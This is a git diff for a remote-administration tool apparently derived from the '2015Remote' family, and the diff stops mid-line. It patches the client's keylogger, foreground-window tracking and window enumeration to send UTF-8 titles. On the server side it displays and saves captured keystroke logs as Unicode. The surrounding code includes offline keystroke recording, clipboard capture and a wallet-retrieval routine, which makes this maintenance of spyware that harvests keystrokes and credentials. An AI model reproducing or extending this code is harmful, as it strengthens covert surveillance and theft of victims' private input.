diff --git a/client/KernelManager.h b/client/KernelManager.h index d614581..363694e 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -63,9 +63,34 @@ private: if (hForegroundWindow == NULL) return "No active window"; - char windowTitle[256]; - GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle)); - return std::string(windowTitle); + // 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页 + wchar_t wTitle[256] = { 0 }; + GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle)); + if (wTitle[0] == L'\0') + return std::string(); + + int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL); + if (u8len <= 1) + return std::string(); + + // 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断 + std::string out(u8len - 1, '\0'); + WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL); + if (out.size() >= 511) { + out.resize(511); + // 回退到上一个完整 UTF-8 码点起始 + while (!out.empty() && (static_cast(out.back()) & 0xC0) == 0x80) + out.pop_back(); + if (!out.empty()) { + unsigned char lead = static_cast(out.back()); + int need = (lead & 0x80) == 0 ? 1 + : (lead & 0xE0) == 0xC0 ? 2 + : (lead & 0xF0) == 0xE0 ? 3 + : (lead & 0xF8) == 0xF0 ? 4 : 0; + if (need == 0) out.pop_back(); + } + } + return out; } DWORD GetLastInputTime() diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index b58ef70..9dc777d 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1() SAFE_CLOSE_HANDLE(m_hClipboard); SAFE_CLOSE_HANDLE(m_hWorkThread); SAFE_CLOSE_HANDLE(m_hSendThread); - m_Buffer->WriteAvailableDataToFile(m_strRecordFile); + // 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。 + if (m_bIsOfflineRecord) { + m_Buffer->WriteAvailableDataToFile(m_strRecordFile); + } delete m_Buffer; Mprintf("~CKeyboardManager1: Stop %p\n", this); } @@ -129,9 +132,15 @@ std::vector CKeyboardManager1::GetWallet() int CKeyboardManager1::sendStartKeyBoard() { - BYTE bToken[2]; + // 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。 + // 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 —— + // 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。 + // 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。 + BYTE bToken[4]; bToken[0] = TOKEN_KEYBOARD_START; bToken[1] = (BYTE)m_bIsOfflineRecord; + WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; + memcpy(bToken + 2, &caps, sizeof(WORD)); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); } diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index efb10c4..35bee76 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要 LPBYTE szBuffer = *(LPBYTE*)lParam; char szTitle[1024]; memset(szTitle, 0, sizeof(szTitle)); - //得到系统传递进来的窗口句柄的窗口标题 - GetWindowText(hWnd, szTitle, sizeof(szTitle)); + // 用 W 接口取标题再转 UTF-8 写入 szTitle,避免依赖客户端 CP_ACP; + // 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。 + wchar_t wTitle[1024] = {}; + GetWindowTextW(hWnd, wTitle, _countof(wTitle)); + if (wTitle[0]) { + WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, + szTitle, sizeof(szTitle), NULL, NULL); + } //这里判断 窗口是否可见 或标题为空 BOOL m_bShowHidden = TRUE; if (!m_bShowHidden && !IsWindowVisible(hWnd)) { diff --git a/client/keylogger.cpp b/client/keylogger.cpp index c559686..c16f76e 100644 --- a/client/keylogger.cpp +++ b/client/keylogger.cpp @@ -94,9 +94,17 @@ int Save(int key_stroke) } if (foreground) { + // 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页: + // 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK), + // 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。 char window_title[MAX_PATH] = {}; - GET_PROCESS_EASY(GetWindowTextA); - GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH); + wchar_t wTitle[MAX_PATH] = {}; + GET_PROCESS_EASY(GetWindowTextW); + GetWindowTextW(foreground, wTitle, MAX_PATH); + if (wTitle[0]) { + WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, + window_title, MAX_PATH, NULL, NULL); + } if (strcmp(window_title, lastwindow) != 0) { strcpy_s(lastwindow, sizeof(lastwindow), window_title); @@ -107,7 +115,7 @@ int Save(int key_stroke) sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond); - output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]"; + output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]"; } } diff --git a/common/commands.h b/common/commands.h index f3af1fe..f92d7c3 100644 --- a/common/commands.h +++ b/common/commands.h @@ -126,6 +126,8 @@ inline int isValid_10s() // 客户端能力位 #define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输 +#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等) + // 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读 #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 @@ -916,7 +918,7 @@ typedef struct LOGIN_INFOR { { memset(this, 0, sizeof(LOGIN_INFOR)); bToken = TOKEN_LOGIN; - sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2); + sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8); } LOGIN_INFOR& Speed(unsigned long speed) { diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index bcf9b56..eeebe23 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -175,6 +175,20 @@ bool SupportsFileTransferV2(context* ctx) { return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE); } +// 获取客户端协议字符串编码:优先看自身能力位,若是子连接(CAPABILITIES 为空) +// 则通过 peer IP 查主连接。找不到则默认 CP936。 +UINT GetClientEncoding(context* ctx) { + if (!ctx) return 936; + // 主连接情形:CAPABILITIES 已由 LOGIN_INFOR 处理流程填好 + if (ctx->SupportsUtf8()) return CP_UTF8; + // 子连接情形:CAPABILITIES 为空 -> 通过 IP 找主连接 + if (g_2015RemoteDlg) { + context* mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName()); + if (mainCtx && mainCtx->SupportsUtf8()) return CP_UTF8; + } + return 936; +} + // 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次 static bool ShouldLogAuth(const std::string& sn, int success) { struct AuthLogState { @@ -722,6 +736,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_WM_CLOSE() ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline) ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo) + // 启用 LVM_SETUNICODEFORMAT 后,列表实际发送的是 LVN_GETDISPINFOW(即便工程是 MBCS)。 + // MBCS 工程里 LVN_GETDISPINFO == LVN_GETDISPINFOA,两者码值不同,需各自映射。 + ON_NOTIFY(LVN_GETDISPINFOW, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfoW) ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList) ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage) ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete) @@ -1127,13 +1144,23 @@ VOID CMy2015RemoteDlg::CreatStatusBar() VOID CMy2015RemoteDlg::CreateNotifyBar() { + // GUID 用于 Windows 10/11 Toast 通知关联托盘图标 + // {A1B2C3D4-E5F6-7890-ABCD-EF1234567890} + static const GUID NOTIFY_ICON_GUID = + { 0xA1B2C3D4, 0xE5F6, 0x7890, { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90 } }; + m_Nid.uVersion = NOTIFYICON_VERSION_4; m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值 m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中 m_Nid.uID = IDR_MAINFRAME; //icon ID - m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态 + m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP | NIF_GUID; //托盘所拥有的状态 m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息 m_Nid.hIcon = m_hIcon; //icon 变量 + m_Nid.guidItem = NOTIFY_ICON_GUID; + + // 先删除可能残留的旧图标(程序异常退出时可能残留) + Shell_NotifyIcon(NIM_DELETE, &m_Nid); + CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示 lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0])); Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘 @@ -1251,6 +1278,9 @@ VOID CMy2015RemoteDlg::InitControl() g_Column_Online_Width+=g_Column_Data_Online[i].nWidth; } m_CList_Online.InitColumns(); + // 让虚拟列表用 Unicode 通知(LVN_GETDISPINFOW),从而绕开 MBCS 工程里 + // 列表 → ANSI → CP_ACP 的回转,这样在德语/日语等非中文 ACP 服务端上也能显示中文。 + m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0); m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置 m_CList_Online.SetExtendedStyle(style); m_CList_Online.SetParent(&m_GroupTab); @@ -1429,7 +1459,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam) NOTIFYICONDATA nidCopy = m_Nid; nidCopy.cbSize = sizeof(NOTIFYICONDATA); nidCopy.uFlags |= NIF_INFO; - nidCopy.dwInfoFlags = NIIF_INFO; + nidCopy.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; // 使用自定义图标 + nidCopy.hBalloonIcon = m_hIcon; // 设置气球提示图标 lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle)); lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo)); nidCopy.uTimeout = 3000; @@ -3500,6 +3531,84 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } +// 虚拟列表数据回调(W 版) - 列表启用 LVM_SETUNICODEFORMAT 后由系统改发此通知。 +// 工程仍是 MBCS,CString 内部仍按 CP_ACP;这里把要显示的列统一转成宽字符填回, +// 让控件直接以 Unicode 渲染,从而在非中文 ACP 服务端上也能正确显示中文。 +void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult) +{ + NMLVDISPINFOW* pDispInfo = reinterpret_cast(pNMHDR); + LVITEMW* pItem = &pDispInfo->item; + int iItem = pItem->iItem; + + CLock lock(m_cs); + + if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) { + *pResult = 0; + return; + } + size_t realIdx = m_FilteredIndices[iItem]; + if (realIdx >= m_HostList.size()) { + *pResult = 0; + return; + } + context* ctx = m_HostList[realIdx]; + if (!ctx) { + *pResult = 0; + return; + } + + if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) { + std::wstring wtext; + int nCol = pItem->iSubItem; + + if (nCol == ONLINELIST_LOGINTIME) { + // "活动窗口"列:心跳到达后用旁路表里的宽字符串(已正确解码); + // 心跳到达前 m_ActiveWndW 还没条目,回退到 CString —— AddList 给这一列 + // 填的是 startTime(启动时间,纯 ASCII),按 CP_ACP 转宽显示,行为与 + // 原 A 版回调一致。 + auto it = m_ActiveWndW.find(ctx->GetClientID()); + if (it != m_ActiveWndW.end()) { + wtext = it->second; + } else { + CString text = ctx->GetClientData(nCol); + if (!text.IsEmpty()) { + int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0); + if (wlen > 0) { + wtext.resize(wlen - 1); + MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen); + } + } + } + if (wtext.empty()) wtext = L"?"; + } else { + // 其它列:CString 仍是 ANSI(CP_ACP),按 CP_ACP 转宽供控件显示 + CString text; + if (nCol == ONLINELIST_COMPUTER_NAME) { + CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE); + text = !note.IsEmpty() ? note : ctx->GetClientData(nCol); + } else { + text = ctx->GetClientData(nCol); + if (text.IsEmpty()) text = "?"; + } + int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0); + if (wlen > 0) { + wtext.resize(wlen - 1); + MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen); + } + } + + // 安全拷贝到控件提供的缓冲区 + int copy = (int)wtext.size(); + if (copy > pItem->cchTextMax - 1) copy = pItem->cchTextMax - 1; + if (copy > 0) { + wmemcpy(pItem->pszText, wtext.c_str(), copy); + } + pItem->pszText[copy] = L'\0'; + } + + *pResult = 0; +} + void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) { LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); @@ -5525,6 +5634,8 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx) if (WebService().IsRunning()) { WebService().MarkDeviceOffline(clientID); } + // 清理"活动窗口"列的宽字符旁路表 + m_ActiveWndW.erase(clientID); // 方案1:通过索引快速查找(如果索引有效且匹配) auto indexIt = m_ClientIndex.find(clientID); @@ -5942,10 +6053,25 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) if (id) { bool changed = false; // 只在数据变化时标记 dirty + // 注:hb.ActiveWnd 编码由客户端能力位 CLIENT_CAP_UTF8 决定(登录时已识别)。 + // CString 这里仍然按字节存原始数据,仅用于 "Locked:"/"Inactive:" 等 ASCII 前缀比较; + // 真正显示走 m_ActiveWndW + LVN_GETDISPINFOW。 CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME); if (oldActiveWnd != hb.ActiveWnd) { ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd); changed = true; + + // 按客户端声明的编码解码:新客户端 UTF-8,老客户端 CP936(默认兜底) + std::wstring wActive; + if (hb.ActiveWnd[0]) { + UINT cp = GetClientEncoding(host); + int wlen = MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, NULL, 0); + if (wlen > 0) { + wActive.resize(wlen - 1); + MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, &wActive[0], wlen); + } + } + m_ActiveWndW[clientID] = std::move(wActive); } if (hb.Ping > 0) { CString newPing = std::to_string(hb.Ping).c_str(); @@ -5966,19 +6092,16 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // Notify web clients of device update if (WebService().IsRunning()) { std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : ""; - // Convert ANSI to UTF-8 for web + // Web 端要 UTF-8:直接用旁路表里的宽字符再编一次 UTF-8, + // 这样无论客户端原本是 UTF-8 还是 GBK,发给 Web 都是 UTF-8。 std::string activeWnd; - CString csActiveWnd(hb.ActiveWnd); - if (!csActiveWnd.IsEmpty()) { - int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0); - if (wlen > 0) { - std::wstring wstr(wlen - 1, L'\0'); - MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen); - int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); - if (u8len > 0) { - activeWnd.resize(u8len - 1); - WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL); - } + auto it = m_ActiveWndW.find(clientID); + if (it != m_ActiveWndW.end() && !it->second.empty()) { + const std::wstring& w = it->second; + int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL); + if (u8len > 0) { + activeWnd.resize(u8len - 1); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWnd[0], u8len, NULL, NULL); } } WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 79fd280..5d9c61d 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg; // 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量 bool SupportsFileTransferV2(context* ctx); +// 获取客户端协议字符串编码 (CP_UTF8 或 936)。 +// 适用于任意 context: +// - 主连接:直接读自身的 CAPABILITIES +// - 子连接(KeyBoardDlg / SystemDlg / FileManagerDlg 等):CAPABILITIES 为空, +// 通过 peer IP 查 m_HostList 中的主连接获取能力位 +// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。 +UINT GetClientEncoding(context* ctx); + // 服务端待续传的传输信息 struct PendingTransferV2 { uint64_t clientID; @@ -344,7 +352,13 @@ public: afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnExitSizeMove(); afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调 + afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(A 版,备用) + afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的) + + // "活动窗口"列的宽字符旁路表:clientID -> Unicode 标题。 + // 协议字段 hb.ActiveWnd 已约定为 UTF-8(老客户端 GBK 回退),由服务端解码后存入。 + // 由 m_cs 保护。 + std::map m_ActiveWndW; afx_msg void OnOnlineMessage(); afx_msg void OnOnlineDelete(); afx_msg void OnOnlineUpdate(); diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 244465f..0d801d4 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -3,7 +3,9 @@ #include "stdafx.h" #include +#include #include "KeyBoardDlg.h" +#include "2015RemoteDlg.h" // GetClientEncoding helper #ifdef _DEBUG #define new DEBUG_NEW @@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__; CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) { - m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1]; + m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1); + + // 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。 + // 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。 + // 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。 + WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2) + | (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8); + if (caps != 0) { + CString capStr; + capStr.Format(_T("%04X"), caps); + m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr); + } } @@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog() UpdateTitle(); + // ----------------------------------------------------------------- + // 把 m_edit 重建为 Unicode 类窗口。 + // 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便 + // 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP + // 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建 + // 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。 + // ----------------------------------------------------------------- + { + CRect rc; + m_edit.GetWindowRect(&rc); + ScreenToClient(&rc); + DWORD style = m_edit.GetStyle(); + DWORD exStyle = m_edit.GetExStyle(); + HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); + UINT ctrlID = m_edit.GetDlgCtrlID(); + m_edit.DestroyWindow(); + HWND hEdit = ::CreateWindowExW( + exStyle, L"EDIT", L"", style, + rc.left, rc.top, rc.Width(), rc.Height(), + this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, + AfxGetInstanceHandle(), NULL); + m_edit.Attach(hEdit); + if (hFont) + m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); + } + m_edit.SetLimitText(MAXDWORD); // 设置最大长度 // 通知远程控制端对话框已经打开 @@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData() { // 最后填上0 m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1); - int len = m_edit.GetWindowTextLength(); - m_edit.SetSel(len, len); - m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); + const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); + if (!utf8 || !utf8[0]) + return; + + // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。 + // 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空; + // helper 内部通过 peer IP 查主连接获取真正的能力位。 + UINT cp = GetClientEncoding(m_ContextObject); + int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0); + if (wlen <= 1) + return; + std::wstring wbuf(wlen - 1, L'\0'); + MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen); + + // 全程走 W 版消息直通 Unicode 控件。注意几个坑: + // 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次 + // EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即 + // 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、 + // 用户手动移动光标后插入位置不对等)。 + // 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度, + // 不依赖 WM_GETTEXTLENGTH 计算结果。 + // 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。 + HWND hEdit = m_edit.GetSafeHwnd(); + if (!hEdit) return; + ::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF); + ::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str()); + ::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0); } bool CKeyBoardDlg::SaveRecord() @@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord() MessageBox(msg, _TR("提示"), MB_ICONINFORMATION); return false; } - // Write the DIB header and the bits - CString strRecord; - m_edit.GetWindowText(strRecord); - file.Write(strRecord, strRecord.GetLength()); + + // m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。 + // 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。 + int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd()); + std::wstring wbuf; + if (wlen > 0) { + wbuf.resize(wlen); + ::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1); + } + + // UTF-8 BOM + const BYTE bom[3] = { 0xEF, 0xBB, 0xBF }; + file.Write(bom, 3); + + if (!wbuf.empty()) { + int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen, + NULL, 0, NULL, NULL); + if (u8len > 0) { + std::string u8(u8len, '\0'); + WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen, + &u8[0], u8len, NULL, NULL); + file.Write(u8.data(), (UINT)u8.size()); + } + } file.Close(); return true; @@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) } else if (nID == IDM_CLEAR_RECORD) { BYTE bToken = COMMAND_KEYBOARD_CLEAR; m_ContextObject->Send2Client(&bToken, 1); - m_edit.SetWindowText(""); + // m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换 + ::SetWindowTextW(m_edit.GetSafeHwnd(), L""); } else if (nID == IDM_SAVE_RECORD) { SaveRecord(); } else { diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 692ddfa..edcf06c 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -3,6 +3,7 @@ #include "stdafx.h" #include "2015Remote.h" +#include "2015RemoteDlg.h" // GetClientEncoding helper #include "SystemDlg.h" #include "afxdialogex.h" @@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog() m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420); m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200); m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100); + // 工程是 MBCS,但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容, + // 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。 ShowWindowsList(); } @@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void) char *szTitle = NULL; bool isDel=false; + // 客户端编码由能力位 CLIENT_CAP_UTF8 决定。 + // 注意:m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空; + // helper 内部通过 peer IP 查主连接获取真正的能力位。 + UINT cp = GetClientEncoding(m_ContextObject); + DeleteAllItems(); CString str; int i ; @@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void) str.FormatL("%5u", *lpPID); CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A"; m_ControlList.InsertItem(i, str); // 句柄 - m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题 - m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 - m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID - // ItemData 为窗口句柄 + + // 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入, + // 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。 + std::wstring wTitle; + if (attrs.szTitle[0]) { + int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0); + if (wlen > 0) { + wTitle.resize(wlen - 1); + MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen); + } + } + LVITEMW lvItemW = {}; + lvItemW.mask = LVIF_TEXT; + lvItemW.iItem = i; + lvItemW.iSubItem = 1; + lvItemW.pszText = wTitle.empty() ? const_cast(L"") : &wTitle[0]; + ::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW, + (WPARAM)i, (LPARAM)&lvItemW); + + m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII) + m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII) + // ItemData 为窗口句柄;Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用 auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} }; m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d) dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1; diff --git a/server/2015Remote/WebService.cpp b/server/2015Remote/WebService.cpp index 27bb755..86369dd 100644 --- a/server/2015Remote/WebService.cpp +++ b/server/2015Remote/WebService.cpp @@ -1468,8 +1468,24 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) { CString version = ctx->GetClientData(ONLINELIST_VERSION); device["version"] = AnsiToUtf8(version); + // 活动窗口编码由客户端能力位决定:新客户端是 UTF-8,老客户端是 CP_ACP(默认 936)。 + // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。 CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME); - device["activeWindow"] = AnsiToUtf8(activeWindow); + std::string activeWindowU8; + if (!activeWindow.IsEmpty()) { + UINT cp = GetClientEncoding(ctx); + int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0); + if (wlen > 1) { + std::wstring w(wlen - 1, L'\0'); + MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen); + int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL); + if (u8len > 1) { + activeWindowU8.resize(u8len - 1); + 